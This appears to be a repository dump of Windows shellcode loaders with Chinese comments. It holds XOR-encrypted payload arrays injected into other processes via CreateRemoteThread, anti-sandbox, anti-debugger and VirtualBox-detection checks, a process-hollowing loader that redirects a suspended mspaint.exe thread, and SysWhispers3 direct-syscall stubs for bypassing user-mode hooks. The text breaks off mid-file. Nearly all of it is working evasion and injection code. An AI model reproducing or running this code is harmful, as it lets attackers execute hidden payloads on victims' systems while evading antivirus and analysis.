├── AntiSimpleVirtual ├── AntiSimpleVirtual.cpp ├── README.md └── antiVirtualBox.cpp ├── ProcessHollowing ├── README.md └── changeRIPaddressToShellcode │ ├── ConsoleApplication1.cpp │ └── README.md ├── README.md ├── SysWhisper ├── README.md ├── syscall-asm.x64.asm ├── syscall.c ├── syscall.h └── test.cpp ├── Use-After-Free ├── README.md ├── ShellcodeLoader.cpp ├── generate_file.py └── sc.ini ├── baseAddressToCallDll ├── BaseAddressToCallDll.cpp └── README.md ├── begin_and_convert.cpp ├── get_api_from_peb ├── README.md └── test.cpp ├── get_shellcode_from_server ├── README.md └── test.cpp ├── memorySectionInject ├── ConsoleApplication1.cpp ├── README.md └── memoryMapInjection │ ├── ConsoleApplication1.cpp │ ├── NtGetNextProcess.cpp │ ├── README.md │ └── noCreateRemoteThread.cpp └── parent_process_spoofing ├── ConsoleApplication1.cpp └── README.md /AntiSimpleVirtual/AntiSimpleVirtual.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | typedef LPVOID(WINAPI* pVirtualAllocExNuma) ( 8 | HANDLE hProcess, 9 | LPVOID lpAddress, 10 | SIZE_T dwSize, 11 | DWORD flAllocationType, 12 | DWORD flProtect, 13 | DWORD nndPreferred 14 | ); 15 | 16 | // memory allocation work on regular PC but will fail in AV emulators 17 | BOOL checkNUMA() { 18 | LPVOID mem = NULL; 19 | pVirtualAllocExNuma myVirtualAllocExNuma = (pVirtualAllocExNuma)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma"); 20 | mem = myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0); 21 | if (mem != NULL) { 22 | return false; 23 | } 24 | else { 25 | return true; 26 | } 27 | } 28 | 29 | // 反沙箱 30 | BOOL checkResources() { 31 | SYSTEM_INFO s; 32 | MEMORYSTATUSEX ms; 33 | DWORD procNum; 34 | DWORD ram; 35 | 36 | // 检测处理器核心数 37 | GetSystemInfo(&s); 38 | procNum = s.dwNumberOfProcessors; 39 | if (procNum < 2) return false; 40 | 41 | // 检测RAM,一般机器不会小于2G 42 | ms.dwLength = sizeof(ms); 43 | GlobalMemoryStatusEx(&ms); 44 | ram = ms.ullTotalPhys / 1024 / 1024 / 1024; 45 | if (ram < 2) return false; 46 | 47 | return true; 48 | } 49 | unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x5, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x7, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x9, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x6, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x6, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x1, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x2, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0xf, 0x6f, 0xe3, 0x89, 0x85, 0x1, 0x6e, 0xde, 0x3e, 0x7e, 0xb, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x6, 0x15, 0x7, 0x6, 0x57, 0x8, 0x1, 0x16, 0x75 }; 50 | 51 | unsigned int my_payload_len = sizeof(my_payload); 52 | 53 | char my_secret_key[] = "mysupersecretkey"; 54 | 55 | void XOR(char* data, size_t data_len, char* key, size_t key_len) { 56 | int j; 57 | j = 0; 58 | for (int i = 0; i < data_len; i++) { 59 | if (j == key_len - 1) j = 0; 60 | data[i] = data[i] ^ key[j]; 61 | j++; 62 | } 63 | } 64 | 65 | int main(int argc, char* argv[]) { 66 | 67 | HANDLE ph; // process handle 68 | HANDLE rt; // remote thread 69 | PVOID rb; // remote buffer 70 | 71 | DWORD pid; // process ID 72 | pid = atoi(argv[1]); 73 | 74 | // 检测改名 75 | if (strstr(argv[0], "example.exe") == NULL) { 76 | printf("you changed my name:(\n"); 77 | return -2; 78 | } 79 | 80 | // 检测调试器 81 | if (IsDebuggerPresent()) { 82 | printf("attached debugger detected :(\n"); 83 | return -2; 84 | } 85 | 86 | // check NUMA 87 | if (checkNUMA()) { 88 | printf("NUMA memory allocate failed :( \n"); 89 | return -2; 90 | } 91 | 92 | // 检查沙箱 93 | if (checkResources() == false) { 94 | printf("possibly launched in sandbox :(\n"); 95 | return -2; 96 | } 97 | 98 | // 加大内存分配 99 | char* mem = NULL; 100 | mem = (char*)malloc(100000000); 101 | 102 | if (mem != NULL) { 103 | memset(mem, 00, 100000000); 104 | free(mem); 105 | 106 | ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); 107 | printf("PID: %i", pid); 108 | XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key)); 109 | rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 110 | 111 | WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL); 112 | 113 | rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL); 114 | CloseHandle(ph); 115 | return 0; 116 | } 117 | } -------------------------------------------------------------------------------- /AntiSimpleVirtual/README.md: -------------------------------------------------------------------------------- 1 | ![image-20230309205456399](https://s2.loli.net/2023/03/09/mwNzXYc5uKaQfSE.png) -------------------------------------------------------------------------------- /AntiSimpleVirtual/antiVirtualBox.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | unsigned char my_payload[] = { 0x8f, 0x27, 0xf7, 0x8c, 0x99, 0x9b, 0xa9, 0x73, 0x74, 0x65, 0x32, 0x25, 0x32, 0x3f, 0x26, 0x39, 0x3f, 0x3b, 0x58, 0xa1, 0x11, 0x2d, 0xf8, 0x26, 0x13, 0x27, 0xff, 0x3a, 0x71, 0x3b, 0xe2, 0x21, 0x54, 0x2d, 0xf8, 0x6, 0x23, 0x27, 0x7b, 0xdf, 0x23, 0x39, 0x24, 0x42, 0xbd, 0x2d, 0x42, 0xb4, 0xdf, 0x53, 0x15, 0x14, 0x6b, 0x5f, 0x49, 0x32, 0xb5, 0xac, 0x7e, 0x35, 0x72, 0xae, 0x96, 0x85, 0x3b, 0x32, 0x38, 0x3b, 0xff, 0x37, 0x53, 0xff, 0x31, 0x53, 0x3c, 0x69, 0xb9, 0xf8, 0xe9, 0xfb, 0x74, 0x65, 0x73, 0x3c, 0xf6, 0xaf, 0x0, 0xf, 0x21, 0x72, 0xb9, 0x23, 0xff, 0x2d, 0x6b, 0x30, 0xf8, 0x2f, 0x54, 0x21, 0x68, 0xa3, 0x8a, 0x25, 0x3c, 0x9a, 0xba, 0x35, 0xf8, 0x5b, 0xfc, 0x20, 0x68, 0xa5, 0x24, 0x42, 0xbd, 0x2d, 0x42, 0xb4, 0xdf, 0x2e, 0xb5, 0xa1, 0x64, 0x32, 0x68, 0xb2, 0x4c, 0x85, 0x6, 0x85, 0x3f, 0x6c, 0x38, 0x4c, 0x61, 0x36, 0x50, 0xa2, 0x1, 0xbd, 0x2b, 0x30, 0xf8, 0x2f, 0x50, 0x21, 0x68, 0xa3, 0xf, 0x32, 0xff, 0x69, 0x3b, 0x30, 0xf8, 0x2f, 0x68, 0x21, 0x68, 0xa3, 0x28, 0xf8, 0x70, 0xed, 0x3b, 0x75, 0xa3, 0x2e, 0x2c, 0x29, 0x31, 0x2d, 0x30, 0x29, 0x35, 0x3d, 0x32, 0x2d, 0x32, 0x35, 0x3c, 0xeb, 0x85, 0x53, 0x28, 0x21, 0x8b, 0x85, 0x2b, 0x35, 0x2a, 0x35, 0x3c, 0xe3, 0x7b, 0x9a, 0x3e, 0x8c, 0x8b, 0x9a, 0x2e, 0x3c, 0xc9, 0x6e, 0x74, 0x68, 0x69, 0x73, 0x69, 0x73, 0x74, 0x2d, 0xfe, 0xf9, 0x72, 0x6e, 0x74, 0x68, 0x28, 0xc9, 0x58, 0xf8, 0x1b, 0xe2, 0x8c, 0xa1, 0xc8, 0x9f, 0xc1, 0xca, 0x3f, 0x32, 0xd3, 0xd5, 0xe1, 0xd8, 0xee, 0x8b, 0xa6, 0x27, 0xf7, 0xac, 0x41, 0x4f, 0x6f, 0xf, 0x7e, 0xe5, 0x88, 0x94, 0x6, 0x6a, 0xcf, 0x2f, 0x7a, 0x1, 0x6, 0x19, 0x74, 0x3c, 0x32, 0xfd, 0xa9, 0x90, 0xa1, 0xb, 0x8, 0x1f, 0xa, 0x5d, 0x11, 0x1d, 0x16, 0x74 }; 6 | unsigned int my_payload_len = sizeof(my_payload); 7 | 8 | // key for XOR decrypt 9 | char my_secret_key[] = "sothisistest"; 10 | 11 | // decrypt deXOR function 12 | void XOR(char* data, size_t data_len, char* key, size_t key_len) { 13 | int j; 14 | j = 0; 15 | for (int i = 0; i < data_len; i++) { 16 | if (j == key_len - 1) j = 0; 17 | 18 | data[i] = data[i] ^ key[j]; 19 | j++; 20 | } 21 | } 22 | 23 | int check_reg_exist(HKEY hKeyRoot, char* lpSubKey) { 24 | HKEY hkey = nullptr; 25 | LONG ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hkey); 26 | if (ret == ERROR_SUCCESS) { 27 | RegCloseKey(hkey); 28 | return TRUE; 29 | } 30 | return FALSE; 31 | } 32 | 33 | int check_reg_value(HKEY hKeyRoot, char* lpSubKey, char* regVal, char* compare) { 34 | HKEY hKey = nullptr; 35 | LONG ret; 36 | char value[1024]; 37 | DWORD size = sizeof(value); 38 | ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey); 39 | if (ret == ERROR_SUCCESS) { 40 | RegQueryValueExA(hKey, regVal, NULL, NULL, (LPBYTE)value, &size); 41 | if (ret == ERROR_SUCCESS) { 42 | if (strcmp(value, compare) == 0) { 43 | return TRUE; 44 | } 45 | } 46 | } 47 | return FALSE; 48 | } 49 | 50 | 51 | int main(int argc, char* argv[]) { 52 | HANDLE ph; // process handle 53 | HANDLE rt; // remote thread 54 | PVOID rb; // remote buffer 55 | 56 | XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key)); 57 | 58 | if (check_reg_exist(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__")) { 59 | printf("VirtualBox VM reg path value detected :(\n"); 60 | return -2; 61 | } 62 | 63 | if (check_reg_value(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation", 64 | "SystemProductName", "VirtualBox")) { 65 | printf("VirtualBox VM reg key value detected :(\n"); 66 | return -2; 67 | } 68 | 69 | if (check_reg_value(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation", 70 | "BiosVersion", "VirtualBox")) { 71 | printf("VirtualBox VM BIOS version detected :(\n"); 72 | return -2; 73 | } 74 | 75 | printf("PID: %i", atoi(argv[1])); 76 | ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); 77 | 78 | rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 79 | 80 | WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL); 81 | 82 | rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL); 83 | CloseHandle(ph); 84 | return 0; 85 | } -------------------------------------------------------------------------------- /ProcessHollowing/README.md: -------------------------------------------------------------------------------- 1 | Process hollowing 傀儡进程 2 | -------------------------------------------------------------------------------- /ProcessHollowing/changeRIPaddressToShellcode/ConsoleApplication1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(int argc,char* argv[]) { 7 | if (argc > 1) { 8 | // 创建挂起进程 9 | STARTUPINFO si = { sizeof(si) }; 10 | PROCESS_INFORMATION pi; 11 | if (!CreateProcess(NULL, (LPSTR)"mspaint.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { 12 | std::cout << "CreateProcess failed: " << GetLastError() << std::endl; 13 | return 1; 14 | } 15 | 16 | // 申请可读、可写、可执行的内存 17 | LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 18 | if (lpBaseAddress == NULL) { 19 | std::cout << "VirtualAllocEx failed: " << GetLastError() << std::endl; 20 | return 1; 21 | } 22 | 23 | //shellcode加密部分 24 | // 将Shellcode数据写入申请的内存中 25 | std::vector xored_input = { 26 | 0xbe,0x0a,0xc1,0xa6,0xb2,0xaa,0x82,0x42,0x42,0x42,0x03,0x13,0x03,0x12,0x10,0x13,0x14,0x0a,0x73,0x90,0x27,0x0a,0xc9,0x10,0x22,0x0a,0xc9,0x10,0x5a,0x0a,0xc9,0x10,0x62,0x0a,0xc9,0x30,0x12,0x0a,0x4d,0xf5,0x08,0x08,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x7e,0x23,0x3e,0x40,0x6e,0x62,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0xa0,0xaf,0x10,0x03,0x13,0x0a,0xc9,0x10,0x62,0xc9,0x00,0x7e,0x0a,0x43,0x92,0xc9,0xc2,0xca,0x42,0x42,0x42,0x0a,0xc7,0x82,0x36,0x25,0x0a,0x43,0x92,0x12,0xc9,0x0a,0x5a,0x06,0xc9,0x02,0x62,0x0b,0x43,0x92,0xa1,0x14,0x0a,0xbd,0x8b,0x03,0xc9,0x76,0xca,0x0a,0x43,0x94,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0x7a,0xa2,0x37,0xb3,0x0e,0x41,0x0e,0x66,0x4a,0x07,0x7b,0x93,0x37,0x9a,0x1a,0x06,0xc9,0x02,0x66,0x0b,0x43,0x92,0x24,0x03,0xc9,0x4e,0x0a,0x06,0xc9,0x02,0x5e,0x0b,0x43,0x92,0x03,0xc9,0x46,0xca,0x0a,0x43,0x92,0x03,0x1a,0x03,0x1a,0x1c,0x1b,0x18,0x03,0x1a,0x03,0x1b,0x03,0x18,0x0a,0xc1,0xae,0x62,0x03,0x10,0xbd,0xa2,0x1a,0x03,0x1b,0x18,0x0a,0xc9,0x50,0xab,0x15,0xbd,0xbd,0xbd,0x1f,0x0a,0xf8,0x43,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x0a,0xcf,0xcf,0x43,0x43,0x42,0x42,0x03,0xf8,0x73,0xc9,0x2d,0xc5,0xbd,0x97,0xf9,0xb2,0xf7,0xe0,0x14,0x03,0xf8,0xe4,0xd7,0xff,0xdf,0xbd,0x97,0x0a,0xc1,0x86,0x6a,0x7e,0x44,0x3e,0x48,0xc2,0xb9,0xa2,0x37,0x47,0xf9,0x05,0x51,0x30,0x2d,0x28,0x42,0x1b,0x03,0xcb,0x98,0xbd,0x97,0x21,0x23,0x2e,0x21,0x6c,0x27,0x3a,0x27,0x42,0xbc,0xbd 27 | }; 28 | // 解密代码 29 | // 1. 从变换后的字节数组中取出随机字节,并将其移除 30 | unsigned char end_byte = xored_input.back(); 31 | xored_input.pop_back(); 32 | 33 | // 2. 将变换后的字节数组中除最后一个字节外的所有字节与随机字节进行XOR,得到NOT操作之前的字节数组 34 | std::vector not_input_2; 35 | for (auto b : xored_input) { 36 | not_input_2.push_back(b ^ end_byte); 37 | } 38 | 39 | // 3. 进行NOT操作,得到原始的字节数组 40 | std::vector output; 41 | for (auto b : not_input_2) { 42 | output.push_back(~b); 43 | } 44 | output.pop_back(); 45 | unsigned char* my_payload = new unsigned char[output.size() + 1]; 46 | std::copy(output.begin(), output.end(), my_payload); 47 | my_payload[output.size()] = '\0'; 48 | if (output.back() == 0x00) { 49 | my_payload[output.size()] = '\0'; 50 | } 51 | for (size_t i = 0; i < output.size(); ++i) { 52 | std::cout << std::hex << (int)my_payload[i] << " "; 53 | } 54 | std::cout << std::endl; 55 | std::cout << sizeof(my_payload) << std::endl; 56 | 57 | //shellcode部分 58 | 59 | SIZE_T bytesWritten; 60 | if (!WriteProcessMemory(pi.hProcess, lpBaseAddress, my_payload, output.size(), &bytesWritten)) { 61 | std::cout << "WriteProcessMemory failed: " << GetLastError() << std::endl; 62 | return 1; 63 | } 64 | 65 | // 获取线程上下文,并修改EIP/RIP的值为申请的内存的首地址 66 | CONTEXT ctx; 67 | ctx.ContextFlags = CONTEXT_FULL; 68 | if (!GetThreadContext(pi.hThread, &ctx)) { 69 | std::cout << "GetThreadContext failed: " << GetLastError() << std::endl; 70 | return 1; 71 | } 72 | ctx.Rip = (DWORD64)lpBaseAddress; 73 | if (!SetThreadContext(pi.hThread, &ctx)) { 74 | std::cout << "SetThreadContext failed: " << GetLastError() << std::endl; 75 | return 1; 76 | } 77 | 78 | // 恢复主线程 79 | if (ResumeThread(pi.hThread) == -1) { 80 | std::cout << "ResumeThread failed: " << GetLastError() << std::endl; 81 | return 1; 82 | } 83 | 84 | std::cout << "Shellcode executed successfully!" << std::endl; 85 | 86 | return 0; 87 | } 88 | else { 89 | return -1; 90 | } 91 | 92 | } 93 | -------------------------------------------------------------------------------- /ProcessHollowing/changeRIPaddressToShellcode/README.md: -------------------------------------------------------------------------------- 1 | 1. 创建挂起进程(使用 `CREATE_SUSPENDED`标志调用 `CreateProcess` API);或者使用 SuspendThread 函数挂起目标线程 2 | 2. VirtualAllocEx函数申请一个可读、可写、可执行的内存。 3 | 3. 调用WriteProcessMemory将Shellcode数据写入刚申请的内存中。 4 | 4. 调用GetThreadContext,设置获取标志为CONTEXT_FULL,即获取新进程中所有线程的上下文。 5 | 5. 修改线程上下文中EIP/RIP的值为申请的内存的首地址,通过SetThreadContext函数设置回主线程中。 6 | 6. 调用ResumeThread恢复主线程。 7 | ![图片](https://user-images.githubusercontent.com/63333153/229792377-15e5ee9d-17aa-4588-8263-87d440c607e2.png) 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## some shellcode loaders 2 | -------------------------------------------------------------------------------- /SysWhisper/README.md: -------------------------------------------------------------------------------- 1 | https://github.com/klezVirus/SysWhispers3 2 | 3 | ![image-20230421221554074](https://s2.loli.net/2023/04/21/Mv6JRVhnicDeUZ2.png) -------------------------------------------------------------------------------- /SysWhisper/syscall-asm.x64.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | EXTERN SW3_GetSyscallNumber: PROC 4 | 5 | NtAllocateVirtualMemory PROC 6 | mov [rsp +8], rcx ; Save registers. 7 | mov [rsp+16], rdx 8 | mov [rsp+24], r8 9 | mov [rsp+32], r9 10 | sub rsp, 28h 11 | mov ecx, 04051029Dh ; Load function hash into ECX. 12 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 13 | add rsp, 28h 14 | mov rcx, [rsp+8] ; Restore registers. 15 | mov rdx, [rsp+16] 16 | mov r8, [rsp+24] 17 | mov r9, [rsp+32] 18 | mov r10, rcx 19 | syscall ; Invoke system call. 20 | ret 21 | NtAllocateVirtualMemory ENDP 22 | 23 | NtProtectVirtualMemory PROC 24 | mov [rsp +8], rcx ; Save registers. 25 | mov [rsp+16], rdx 26 | mov [rsp+24], r8 27 | mov [rsp+32], r9 28 | sub rsp, 28h 29 | mov ecx, 043504BC7h ; Load function hash into ECX. 30 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 31 | add rsp, 28h 32 | mov rcx, [rsp+8] ; Restore registers. 33 | mov rdx, [rsp+16] 34 | mov r8, [rsp+24] 35 | mov r9, [rsp+32] 36 | mov r10, rcx 37 | syscall ; Invoke system call. 38 | ret 39 | NtProtectVirtualMemory ENDP 40 | 41 | NtCreateThreadEx PROC 42 | mov [rsp +8], rcx ; Save registers. 43 | mov [rsp+16], rdx 44 | mov [rsp+24], r8 45 | mov [rsp+32], r9 46 | sub rsp, 28h 47 | mov ecx, 046A780D9h ; Load function hash into ECX. 48 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 49 | add rsp, 28h 50 | mov rcx, [rsp+8] ; Restore registers. 51 | mov rdx, [rsp+16] 52 | mov r8, [rsp+24] 53 | mov r9, [rsp+32] 54 | mov r10, rcx 55 | syscall ; Invoke system call. 56 | ret 57 | NtCreateThreadEx ENDP 58 | 59 | NtWaitForMultipleObjects PROC 60 | mov [rsp +8], rcx ; Save registers. 61 | mov [rsp+16], rdx 62 | mov [rsp+24], r8 63 | mov [rsp+32], r9 64 | sub rsp, 28h 65 | mov ecx, 0CD90CC0Eh ; Load function hash into ECX. 66 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 67 | add rsp, 28h 68 | mov rcx, [rsp+8] ; Restore registers. 69 | mov rdx, [rsp+16] 70 | mov r8, [rsp+24] 71 | mov r9, [rsp+32] 72 | mov r10, rcx 73 | syscall ; Invoke system call. 74 | ret 75 | NtWaitForMultipleObjects ENDP 76 | 77 | NtFreeVirtualMemory PROC 78 | mov [rsp +8], rcx ; Save registers. 79 | mov [rsp+16], rdx 80 | mov [rsp+24], r8 81 | mov [rsp+32], r9 82 | sub rsp, 28h 83 | mov ecx, 009900D1Dh ; Load function hash into ECX. 84 | call SW3_GetSyscallNumber ; Resolve function hash into syscall number. 85 | add rsp, 28h 86 | mov rcx, [rsp+8] ; Restore registers. 87 | mov rdx, [rsp+16] 88 | mov r8, [rsp+24] 89 | mov r9, [rsp+32] 90 | mov r10, rcx 91 | syscall ; Invoke system call. 92 | ret 93 | NtFreeVirtualMemory ENDP 94 | 95 | end -------------------------------------------------------------------------------- /SysWhisper/syscall.c: -------------------------------------------------------------------------------- 1 | #include "syscall.h" 2 | #include 3 | 4 | //#define DEBUG 5 | 6 | // JUMPER 7 | 8 | #ifdef _M_IX86 9 | 10 | EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { 11 | return (PVOID)__readfsdword(0xC0); 12 | } 13 | 14 | __declspec(naked) BOOL local_is_wow64(void) 15 | { 16 | __asm { 17 | mov eax, fs:[0xc0] 18 | test eax, eax 19 | jne wow64 20 | mov eax, 0 21 | ret 22 | wow64: 23 | mov eax, 1 24 | ret 25 | } 26 | } 27 | 28 | 29 | #endif 30 | 31 | // Code below is adapted from @modexpblog. Read linked article for more details. 32 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 33 | 34 | SW3_SYSCALL_LIST SW3_SyscallList; 35 | 36 | // SEARCH_AND_REPLACE 37 | #ifdef SEARCH_AND_REPLACE 38 | // THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release 39 | EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); 40 | #endif 41 | 42 | DWORD SW3_HashSyscall(PCSTR FunctionName) 43 | { 44 | DWORD i = 0; 45 | DWORD Hash = SW3_SEED; 46 | 47 | while (FunctionName[i]) 48 | { 49 | WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); 50 | Hash ^= PartialName + SW3_ROR8(Hash); 51 | } 52 | 53 | return Hash; 54 | } 55 | 56 | #ifndef JUMPER 57 | PVOID SC_Address(PVOID NtApiAddress) 58 | { 59 | return NULL; 60 | } 61 | #else 62 | PVOID SC_Address(PVOID NtApiAddress) 63 | { 64 | DWORD searchLimit = 512; 65 | PVOID SyscallAddress; 66 | 67 | #ifdef _WIN64 68 | // If the process is 64-bit on a 64-bit OS, we need to search for syscall 69 | BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; 70 | ULONG distance_to_syscall = 0x12; 71 | #else 72 | // If the process is 32-bit on a 32-bit OS, we need to search for sysenter 73 | BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; 74 | ULONG distance_to_syscall = 0x0f; 75 | #endif 76 | 77 | #ifdef _M_IX86 78 | // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved 79 | if (local_is_wow64()) 80 | { 81 | #ifdef DEBUG 82 | printf("[+] Running 32-bit app on x64 (WOW64)\n"); 83 | #endif 84 | return NULL; 85 | } 86 | #endif 87 | 88 | // we don't really care if there is a 'jmp' between 89 | // NtApiAddress and the 'syscall; ret' instructions 90 | SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); 91 | 92 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 93 | { 94 | // we can use the original code for this system call :) 95 | #if defined(DEBUG) 96 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 97 | #endif 98 | return SyscallAddress; 99 | } 100 | 101 | // the 'syscall; ret' intructions have not been found, 102 | // we will try to use one near it, similarly to HalosGate 103 | 104 | for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) 105 | { 106 | // let's try with an Nt* API below our syscall 107 | SyscallAddress = SW3_RVA2VA( 108 | PVOID, 109 | NtApiAddress, 110 | distance_to_syscall + num_jumps * 0x20); 111 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 112 | { 113 | #if defined(DEBUG) 114 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 115 | #endif 116 | return SyscallAddress; 117 | } 118 | 119 | // let's try with an Nt* API above our syscall 120 | SyscallAddress = SW3_RVA2VA( 121 | PVOID, 122 | NtApiAddress, 123 | distance_to_syscall - num_jumps * 0x20); 124 | if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) 125 | { 126 | #if defined(DEBUG) 127 | printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); 128 | #endif 129 | return SyscallAddress; 130 | } 131 | } 132 | 133 | #ifdef DEBUG 134 | printf("Syscall Opcodes not found!\n"); 135 | #endif 136 | 137 | return NULL; 138 | } 139 | #endif 140 | 141 | 142 | BOOL SW3_PopulateSyscallList() 143 | { 144 | // Return early if the list is already populated. 145 | if (SW3_SyscallList.Count) return TRUE; 146 | 147 | #ifdef _WIN64 148 | PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); 149 | #else 150 | PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); 151 | #endif 152 | PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; 153 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 154 | PVOID DllBase = NULL; 155 | 156 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 157 | // in the list, so it's safer to loop through the full list and find it. 158 | PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; 159 | for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 160 | { 161 | DllBase = LdrEntry->DllBase; 162 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 163 | PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 164 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 165 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 166 | if (VirtualAddress == 0) continue; 167 | 168 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 169 | 170 | // If this is NTDLL.dll, exit loop. 171 | PCHAR DllName = 